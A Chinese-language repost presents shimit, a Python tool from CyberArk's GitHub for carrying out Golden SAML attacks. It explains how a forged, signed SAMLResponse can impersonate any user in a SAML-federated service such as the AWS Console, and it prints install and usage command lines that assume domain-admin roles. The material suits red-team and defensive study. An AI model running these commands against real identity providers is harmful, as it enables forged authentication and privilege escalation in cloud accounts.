shimit 实现Golden SAML攻击的工具

华盟原创文章投稿奖励计划

shimit 实现Golden SAML攻击的工具

工具概述

shimit是实现Golden SAML攻击的python工具。

在黄金级SAML攻击中,攻击者可以使用所需的任何特权并成为目标应用程序上的任何用户,来访问该应用程序(任何支持SAML身份验证的应用程序)。

shimit允许用户创建一个签名的SAMLResponse对象,并使用它在服务提供者中打开会话。shimit现在支持将AWS Console作为服务提供商使用,还有更多工作要做 ...

AWS


在生成并签名SAMLResponse的断言之后,shimit将在AWS中调用AssumeRoleWithSAML() API。然后,会话令牌和密钥将应用于新会话,在该会话中,用户可以使用aws cli通过使用黄金SAML获得的权限来执行操作。

要求

要安装所需的模块,请运行以下命令:

python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml

用法

为AWS CLI申请会话

python .shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file

-u domainadmin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

idp-身份提供商URL,例如http://server.domain.com/adfs/services/trust

pk- 私钥文件的完整路径(pem格式)

c- 证书文件的完整路径(pem格式)

u- 用户名和域名,例如domain username(使用或* nix中的引号)

n -AWS中的会话名称

r -AWS中所需的角色。支持多种角色,将假定第一个角色。

id -AWS账户ID,例如123456789012

将SAMLResponse保存到文件

python .shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file

-u domainadmin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

o-将 编码的SAMLResponse输出到指定的文件路径

从文件加载SAMLResponse

python .shimit.py -l saml_response.xml

l- 从指定的文件路径加载SAMLResponse

文章来源: 

https://github.com/cyberark/shimit

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/download/247931.html

发表评论